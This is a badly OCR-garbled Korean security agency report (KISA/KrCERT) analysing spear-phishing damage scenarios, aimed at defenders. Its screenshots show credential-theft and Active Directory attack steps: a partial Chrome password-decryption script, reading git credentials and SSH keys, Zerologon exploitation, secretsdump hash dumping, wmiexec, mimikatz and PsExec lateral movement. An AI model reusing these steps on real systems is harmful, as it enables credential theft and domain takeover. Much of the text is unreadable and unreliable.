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AlLiE|L 1 | CHEXH 2235 NEL AHE BF - A 2AAFE g
3-1. 7HQ17| 7|4t
AATAE HEFL
JHel7| WERE HIAE
GEU
x E e
. % AARE
5 == ': =5 43
2. FHL=xt '.:J"E'7E s 0 =
EHo= = -2. HEF2 X 7|t .,
: “aust L AE
. = .
S |BEE
THExt
0F 21 WYUK B FYOR QA% AATC A AlLf2|e
- - - = 3 [ = A
1. 200 oY HACHEX HHHA HEQE, YERE 7|s-2MF 443t HE) €5
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2. 4HE LR HFE HOEEXIASE, ASM, &Y 0| 5) }F

o MR HFES AYZEE 05 52 AMELIE| S 2|AHOF(AEERX, 2= 2|
T2 )0 M¥Ee 0| ALk =k O o= JNE Holdgs fI5t0] orafet
#0| B2ez E& ofo|t, HZHS E T2 NYsts ZR7 Bt

~/Development 9s
) cat ~/.git-credentials
https://slzoo: eassworo @github.com

= golg & Stk etk 22 BFREOA ok
sHof oy, ROIMCH WANMQI XIHSY HEE U HAALH

=

chrome_password.py (~/Downloads/pentest_tools-master) - NVIM

import_os
import json
import base64
mport sqlite3

ort win32crypt
rom Crypto.Cipher import AES
mport shutil

SV NOUAWNE g

def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State'
encoding="utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os crypt"]["encrypted key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, ©)[1]
return master_key

3-1. WEA BY 7ISS HMSO HBA T2 US o ssh HAI|S 0|8 AAIE 9B
o Lhele AATE XA MDY W, BHHOZ 0| ABEE WA
0|83 QIF wAlo|ct 223E MEA0lE B7E HEHED

(<}

Hel7IE o838l 2IFsts YA2= HOHE uet

o 2 HFEEV} WALAS W, SARE WOIRtS| Y 8| AER|(~/zsh_history)2t Hl
7|(~/ssh/id_rsa) s0l= FZE = ULk F 7HQ| mYU0| SHXOA HMHEAS 8<%
k=1 =3
=

BHAE XY SAE2B ¥ 4 9t

Il

@ Il SharedRep ) zsh — 54x
kisa@kisaui—-Mac SharedRepository % cat ~/.zsh_history
| grep github.com | sort | uniq
git clone git@github.com:team-slzoo/OnlyHost.git

git clone git@github.com:team-slzoo/SharedRepository
ssh -T git@Pgithub.com
kisaPkisaui-Mac SharedRepository % I

L
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4

o 9lo| BOIE AATE KNBAES H4OE SEE IO HHEE HrIS Hu
AR AARES CIR2E B 4 YUCE OFY O 265 W7 |7} QIS T 30| glof
NEAR HIOH| LD, J4ol7| He 3 50| 43, AAREES Ct2E Y Zuto|ct

& EHog 4 By 8| #Ee S8R9
oo
kisa@kisaui-Mac ~ % ssh -T git@github.com
git@github.com: Permission denied (publickey).
kisa@kisaui-Mac ~ % git clone git@github.com:team-slzoo/OnlyHost.git
Cloning into 'OnlyHost'...
git@github.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights

and the repositorv exists.

kisa@kisaui-Mac ~ % mv ~/.ssh/id_rsa.bak ~/.ssh/id_rsa

kisa@kisaui-Mac ~ % ssh -T git@github.com

Hi slzoo! You've successfully authenticated, but GitHub does not provide shell acce

ss.
kisa@Pkisaui-Mac ~ % git clone git@github.com:team-slzoo/OnlyHost.git
Cloning into 'OnlyHost'...

remote: Enumerating objects: 3, done.

remote: Counting objects: 100% (3/3), done.

Receiving objects: 100% (3/3), done.

remote: Total 3 (delta @), reused @ (delta @), pack-reused @
kisaPkisaui-Mac ~ % 1ls

Desktop Downloads Movies OnlyHost

Documents Library Music Pictures
kisa@kisaui-Mac ~ % l

o MEIotR, BAE NEXt 2 AREO| MTE HoI7|of AARE KFA FAD
o

o [
O| 83t 7HAXAH 3&& ~2FEE =HES = AL,

3-2. B33 NHHSHS 08810 HALKHE B3 AAAC MEA HI AL
o HEQZE A|ES Sof HESX0| NEE AATC KMEA NASYS LSoD, TARLS
e B3 XY H2S ATE 4 UCh Of W, AFRKIOH £O{E MEA @ A3
= MEHol AMLD, HH MIAS BB AFBAI 2HWS Ao

@ sizoo~ e by starred zerOyu/ ke 15 hours ago x

GitHub for mobile

Projects, ideas, & code to go. Available

zerOyu/Awesome-CobaltStrike ¥ Star 2 ! €
= natively for Android and iOS.

cobaltstrikef#fX B3i#5C /% / A collection of cobaltstrike resources to
make you better!

Repositories

Find a repository...
¥ 341 Updated Aug 19

slzoo/kbs_world_radio_recorder P> Google Play

[ slzoo/slzoo.github.io

itories 17 hours a 3
slzoo/systa 9 mOnad starred 2 repositories 17 hours ago

Explore repositories
slzoo/blog

andresriancho/enumerate-iam ¥ Star
slzoo/pentest_tools Enumerate the permissions associated with AWS credential set carlospolop/hacktricks
team-sizoo/SharedRepository @Python  ¥¥ 305 Updated Aug 19 @python ¥ 118
team-slzoo/OnlyHost
Simpsonpt/AppSecEzine
AppSec Ezine Public Repository.
9 mOnad starred Gif i ity i 21 hours ago
Your teams ¥ 368
al AATLC 1XPJ\ NS Mo

>
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o SHXIT, of2f 1 2-8XE 2CA 2AF0| EFEO ALt S ot 22AE FES YA
g 4 ACL O] M, =4l5k= 2B ._oJ(f— I—‘?'—’é!—'?-% CIXIZ &= A= OFX[T AIFO|L

uyn HEe S8W
& github.com

(@)

Sign in to GitHub

Username or email address

sizoo

Password Forgot password?

* |

New to GitHub? Create an account

O Search or jump to...

team-slzoo

Repositories 2
team-sizoo
Organization settings

Profile
Member privileges
Organization security

Security & analysis

Packages

Two-factor authentication

Authentication code What's this?

6-digit code

[ We just sent you a message via SMS with
your authentication code. Enter the code in
the form above to verify your identity.
Re-send the code

[FelE]
226171 is your GitHub

authentication code.

@github.com #

Having problems?

o Enter a two-factor recovery code
 Can't access your two-factor device or valid
recovery codes?

Terms Privacy Security Contac

Pull requests Issues Marketplace Explore

People 2 Teams Projects @Senings

Two-factor authentication

Requiring an additional authentication method adds another level of security for your organization.
Require two-factor authentication for everyone in the team-slzoo organization.
Members, billing managers, and outside collaborators who do not have two-factor authentication enabled

for their personal account will be removed from the organization and will receive an email notifying them
about the change. Learn more.

Billing

Verified domains Save

Audit loa

A8 2-9. 9F 2AAE NFao X HALFEUA 2T 27)

o 00 =715t mafsloe Alsto e X0 &3t MEA HBOICH 2 ALHE PAE7|
Qs 1ot GitHub2| %, & X0 XMYA00 MY + U= READ #HIL=E
£7| ol MHE0f ULt Olof Y= FL, BE AFA0 HIs] AATACE o,
SHE = A7 o MAF A2AET FEE = A= H7L SIS

ﬁ OIE|LIAIGHCHSAE]
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team-slzoo
Organization settings

Profile

Member privileges
Organization security
Security & analysis
Billing

Verified domains
Audit log

Webhooks
Third-party access
Installed GitHub Apps
Scheduled reminders
Repository topics
Repository labels
Deleted repositories

Projects

2-10. ZZ 0]

Member repository permissions

Base permissions

Base permissions to the organization’s repositories apply to all members and excludes outside collaborators.
Since organization members can have permissions from multiple sources, members and collaborators who have
been granted a higher level of access than the base permissions will retain their higher permission privileges.

Read ~

Or,

None

Members will only be able to clone and pull
public repositories. To give a member
additional access, you'll need to add them
to teams or make them collaborators on
individual repositories.

:pository types. Outside collaborators can never create

, visible to anyone. Why is this option disabled?

v Read

Members will be able to clone and pull all
repositories.

s, visible to organization members with permission.

Write
Members will be able to clone, pull, and
push all repositories.

Admin

Members will be able to clone, pull, push,
and add new collaborators to all
repositories.

: repositories. If disabled, forking is only allowed on public repositories. This

Save

M

Oist 2A3E NM&EA CIEE JHoh Y

AlLtE| 2
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?lofl AMHEElE FLEZH H2|MAOOICE ME 22|Xt= =W 9l HAEE2(aka. ADAIH)O
2610l SLE 2oPEM Mg Sl AZEQ|O] HixZ S 2| EYS sdotct orzf 1E
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el HEEY
10.0.2.11

Active Directory 4 E

oA )
10.0.2.115

ok

H3a

EFZI A
10.0.2.111

Aol ESy0]
10.0.2.1

e SR o s
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12l 2-12. Active Directory U ER3
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Ao

ol
=1

a9 A3

20204 102

1.8 A3Y

HE

Mac

o

g A A

102

Az gl

ZH &l

& a3

3,280,000

360,100

2. Az ua

202044 108 Z0IAA

Bl

3,000,000

B
Jin

100,000

SECRET

HZEEH

200,000

Rl

a

=2

x|z

10,000
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a

80,000

W

i

2
il

120,000
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seul@kali: ~fzerafzerologen

File Actions Edit View Help

(zero) = » python _empty_pw.py ADSERVER1 10.8.2.
11
Performing authentication

rverduthenticate3Response
erCredential:
Data: x10%\x95%x1b\xc1\xdd\xc5 | \xd5
g 185 : 556793855
AccountRid: 1081
ErrorCode:

server challe

ng
module 'impacke

e b
t.dc .vi.nr 1 tbErd verPasswordSet2’

DC s L ] re the Ly ring as 1 machine password.

o ?le| YAEEQS Sl FUHEO| YA YD, AD M7t HAE[QUCt D TEre 5= UCEH
Ot2ff O3 2-152 2-16&= Impacket Z2f| Y30 ZaHEl E—_rl(secretsdump, wmiexec)=
0|8, #e|xt Hote| )14 Holg 4 Z0tE EoFEC)

seul@kali: = fzerofbin
File Actions Edit View Help
% secretsdump.py -just-dc profound.kisa/ADSERVER
SecureAuth Corporation

Password:

[*] Dumping Domain Credentials (domain“\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT ’eLInT;
Administrator:500:aad3b435b51404eeaad3bi35b51404

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTeld162e931b73c59d7e@Cc@89CR

krbtgt:502:a3ad3b435b51404eeaad3bs35b51404ee:92537e80208b8e96b2971d0dbbbs4d9
K v
profound.kisa' 11ﬂnt1 1104 :a3ad3b435b51404ecaad3b435b51404ee:c2ab32015c19d54
2f6b5ee3s ; :
profound. ki i 2:1105:aad3b435b51404eeaad3bs35b51404ee: TeT7elbTOC
fdb897cf
profound. 3:1106:aad3b435b51404eeaad3bs35b51404ee: a7
95a812bchde ot

:aad3b435b514@04eeaad3bs35b51404ee:

.ad3b43Sb514@499&3d3b435b514@499 31décfeddl16ae931b73c59d7e0
a3 2-15. AHEXEe| NTLM SHA| =& ZAIHDCSync)

OIE|LIEIBHCHS AVE]
s, KPCERT/CC
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Actions Edit View Help

2.11 -hashes aad3b435b51404 eeaadpbq35b51404ﬂﬂ EﬂthE:ﬂbE+’dEﬂ977ﬂd9>u14
2bcf
Impacket v0.9.21 - Copyright : ] SecureAuth Corporation

[#] SMBv3.@ dialect used

[!] Launching semi-interactive shell - Careful what you execute
Press help for extra shell commands
whoami

profoundhadministrator

2-16. @4 HOE A2 Z1t

y Prashant Mahajan (@prasha )
on] Error importing Actiwe rec y Module from RSAT (Re

Continuing with LDAP
1 - Primary Domain Controller
Commencing - 180,
Domain
Forest
Trusts
Sites

Fine ained Password Policy eed a Pr eged Account
Domain Controllers

Users and SPNs -

PasswordAttribut

Groups and Membership ] s - May take some time

Group Memberships - May e some time

ent (S0M)

d Account

0ﬂlw supported with ADWS.

installed. Skipping
parameter to ge

l installed.

13 2-17. ADRecon: Active Directory Recon 23 EE M3 ZA T} 3]

|ﬁ OIE|LIAIGHCHS AE]
KISA\ OI=QIEINISE a KnCERT/CC
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3. AD MH| B2|Xt AES A8 WM KE U 4Y
o BTMQ BHS L] YBt0l BHAH= AD Ao HAE TLY| U MY 52 Chyoz
WHYUOIE QE, AYSHs IS SYHCL 012 A3 CHYS ¥ 5 ol 13
2-182 AD MHE{S| AR} 20| M0 24l AIEHES U oHO|L}
File Actions Edit View Help
Copy-Item
1% 2-18. WAHYO] RE ATYE SS(AD AH Al T=I)

o L0 1l ASEHEZ QS| AD HESAO AZE Z& HHHVIZ HHYY
(ransomware.ps1)7t MIOtE £ ony, Z-Aut(ransomware_infected.txt)0] M8 & =
AL H U0 FH w2t =77 27t = UL

t > Administrator > Documents
* B2 7t7 s N ol
-ﬁ}ﬂ o MIEHSOTT\WE:E .
acomc i ransomware
[~ PYES ] % - a X
PNES-B-IETIPPNES v o -l
OA
BEEO) Cfet 72 W 87|
Windows 5%
Windows 10 Pro .
ésirri‘:j Microsoft Corporation. All rights -= \NI n d OWS 1 O
_;EAi A Intel(R) Core(TM) i9-9920X CPU @ 3.50GHz 3.50 GHz (27 Z2 M4 A)
X8 0J22|(RAM 4.00GB
auen
ZIEH0E &
ZEE 018
HH 2FE 0
ZEH E%
[T
H L M8 0f7]0] LABIAUAIR -8
a3 2-19. EP)J Al~Bol S0 2 ZADHOIAl)
QIE|LNEIGHCHE A E]
? IXIZSL
kisas 2= IEUIXISH e, KrCERT/CC
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3. AILIE|20] ALl BT &4

0s XIHS - HEte ™ AEEE
Y o= 7| dERE T
LT

J

\

0
!
v

Mimikatz HE {E(Custom)

. 05 M (Windows, ) LEELeX 210l Y20/ HE
CEL XHASY X HE -FH HEHI BEEE

- HANAIE AYHYE * SSH 7217

LR NE

a8 3-1. AlHE| 0] AHEElE =7 L FR 7ls

o 2 BAlEls AYIEE EY 7IS22 IotkE Aol oLzt FgtH
Cidet 7|52l AgREE =gfoty sS4t 2T =85 Zddts
A W2 =EFHS 2017 fl8 +dxs ofdd

o 200 HlYdS Sl LIF=Z YT B2, 2= LE(EAM
Y = debz HE OR0s 2= AN=E VME = U
Chot sl =tits d&AI717] fIoto Fagh FHo| HI2g =+ U=
Xt M7t 2Molct

o ATO| TYS B8 YEE HES BAXE INEY AZEY
z £

[ |
& (Lateral Movement)2

o o

PsExec S0| U2, X
M2 7tsshet £t

YELENA oS

oy

ABBE, H4 HEEE ¥ ofLE

oz = A7 MEo o <flHstctn

—_—

ro
s
I

e;
2

3 Eojd
AE

PsExec
.87 Ho|g

YHO|ES Sof, ZLUHES| 2e? SFEoME =2 YO
X H
° —

+ QU off=

MimikatzE &dlf Ot FE7t EFE = UA=X|2F Google Chromed| M0 FHET}
SFE AL, 3 2 340 AMBEl= =T A[HO|Ct

o Mimikatze= 2% PC| A|H0|E1} DjAE, HHoZ HAT pCcol A
sholgh = QUL 53| Y= 72 22, HECE oY MAREE 2
100l M= NTLM SiA|Zt2 2 XA E|L}, 0|2 XjAFZ(Pass the Hash
= QUCh mMEkN OFEIHK 2 A0l =8E = ULt =olgh o~ ULt

55 IDPWE TR, YHOR &S pcol AWI HAYEES Az oY &

=
A0, F2|HH AEHF(Credential Stuffing) 7|1t AASHH 1 msie o SHabel = QUot

> OIZ0IFUIXI=S2 |ﬁ QIEILUAIOHCHS A EY
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& mimikatz 2.2.0 x64 (oe.e0)

HAHRE.  mimik .0 (
O T AL Amour
amin DELPY
http://blog. ge
Vincent LE TOL
http://pingcastle.con /

# privilege: :debug
20° 0K

# sekurlsa: : logonpassword

Authentication Id

0
ion e from 1

1b73c
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<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>Seulgi's iPhone</name>
<SSIDConfig>
<SSID>
<hex>5365756C6769E2809973206950686F6E65 </hex>
<name>Seulgi’'s iPhone</na3|me>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>manual </connectionMode>

<MSM>
<security>
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git config --global credential.helper store

./Development
» git clone https://github.com/slzoo/pentest_tools.git
'pentest_tools'ol = A g L|Ct...

Username for '"https://github.com': slzoo

Password for 'https://slzoo@github.com':

remote: Enumerating objects: 6, done.

remote: Counting objects: 100% (6/6), done.

remote: Compressing objects: 100% (4/4), done.

remote: Total 6 (delta @), reused @ (delta @), pack-reused @
QEHME JFZ F&= F: 100% (6/6), 2= .
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This is a list of SSH keys associated with your account. Remove any keys that you do not recognize.
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kisa@kisaui-Mac ~ % ssh -T git@github.com
git@github.com: Permission denied (publickey).
kisa@kisaui-Mac ~ % git clone git@github.com:team-slzoo/OnlyHost.git
Cloning into 'OnlyHost'...
git@Pgithub.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights

and the repositorv exists.

kisa@kisaui-Mac ~ % mv ~/.ssh/id_rsa.bak ~/.ssh/id_rsa

kisa@kisaui-Mac ~ % ssh -T git@github.com

Hi slzoo! You've successfully authenticated, but GitHub does not provide shell acce
ss.

kisa@kisaui-Mac ~ % git clone git@github.com:team-slzoo/OnlyHost.git
Cloning into 'OnlyHost‘...

remote: Enumerating objects: 3, done.

remote: Counting objects: 108% (3/3), done.

Receiving objects: 108% (3/3), done.

remote: Total 3 (delta 8), reused @ (delta @), pack-reused @
kisa@kisaui-Mac ~ % 1s

Desktop Downloads Movies OnlyHost Public
Documents Library Music Pictures
kisa@kisaui-Mac ~ % I

HMOOLRGROLNAINO®-2E - M)
12 3-11. ssh 74QI7| EtXZ Qs AAAE QF

o PsExece SysinternalsOlA| SAIMo =z X|@dt= FEZIEIZEA, JFZ0AM EtA A|AHQ
ZENAE H¥WstL O 2¥g 2ZE WS WAz PHTH A|AHR 22| ZFO0|CH4).
o|et 5%t 7|52 WOHeE 7T Ol EX{sict. Ol2fst H2|=Te A|AH
282 floi g2l o|8&X|T, SAXEREH A8E = Ues K| ED HOFUCEH FItHE,
psexec.py’t ZHE|X U= Impacket ZRHJRZ2| secretsdumpl wmiexec EEPH OFUZEX| 2
SAXO A HIHEA 4E&l= =FO|CHS, 6]

LI[_ﬂuach ng 1'1 1& ubzluVg
:Jp&m ng

A1l rights reserved.

S Lo lyT. . . .

IF‘\.-"bJ-ﬂW . « . . & feB0::84eb:3d93:ed7a:7bas%12

& 3-12. ¥4 EHO Y(PsExec) MY

OIE|LIAIGHCHSAME]
KrCERT/CC

KIS/\ N 20|E1 g'ot'_"‘.



Korea Internet & Security Agency

17

N
rhu

[Defender’s Insight]

o

m
X

W 5 MmN X o

o ©

N

S m ok i
o
o

ol

02 N oo

O W1 ol

> m o4 - o
nz
N

o
T
=

XMo@ OV oy o

Tt
A
on

\d

2 dAHe=
giCt. o= Hot £FMit o|sAt
APT(Advanced Persistent Attack)2| Z<o|of }z},
ol2t= AtalZ 2o|o|siCt 2tAM Post-Exploitation

CHEstrAL,, msh &tits TS| {18 712X 2l EZH o]

ey | B e [T

g HEYIo 2
2[F0M LHFEZZ

= %l o]
SiCh MEtM 71E2

ROl

=
ML
oo

)

Kisha I=OIE|UIXIS ]

gl
&
0z
o

1]

I
>

2

[0 ok
0z b
=

|0

—_

or

o =

sz Hog
717k opuini,
.I

),\l

18

o o

0 Iu o

OIEILUAIOHTHS AVEY

KrCERT/C

KOREA INTERMET SECURITY CENTER



Korea Internet & Security Agency 18

5. #1E¥

[11 Tom Tervoort, Secura, “Zerologon: Unauthenticated domain controller compromise
by subverting Netlogon cryptography (CVE-2020-1472), Sep. 2020.

[2] risksense, "ZeroLogon exploitation script,” https://github.com/risksense/zerologon/

[3] adrecon, "ADRecon: Active Directory Recon,” https://github.com/adrecon/ADRecon

[4] Microsoft, "PsExec v2.2," https://docs.microsoft.com/en-us/sysinternals/downloads/psexec/
[5] SecureAuthCorp, “Impacket,” https://github.com/SecureAuthCorp/impacket/

[6] Riccardo, F-Secure Consulting, “Hunting for Impacket,” https://riccardoancarani.github.io/

2020-05-10-hunting-for-impacket/

Icon made by Freepik, Eucalyp, monkik, surang from www:.flaticon.com

- |ﬁ OIE|LUAIOHCHSAVE]
KISA\ OILOIE|UIXISH e KrCERT/CC

A



	스피어피싱 공격 타깃별 피해 시나리오 분석
	1. 서론
	2. 스피어피싱 타깃별 피해 시나리오
	3. 시나리오에 사용되는 도구 분석
	4. 결론
	5. 참고문헌




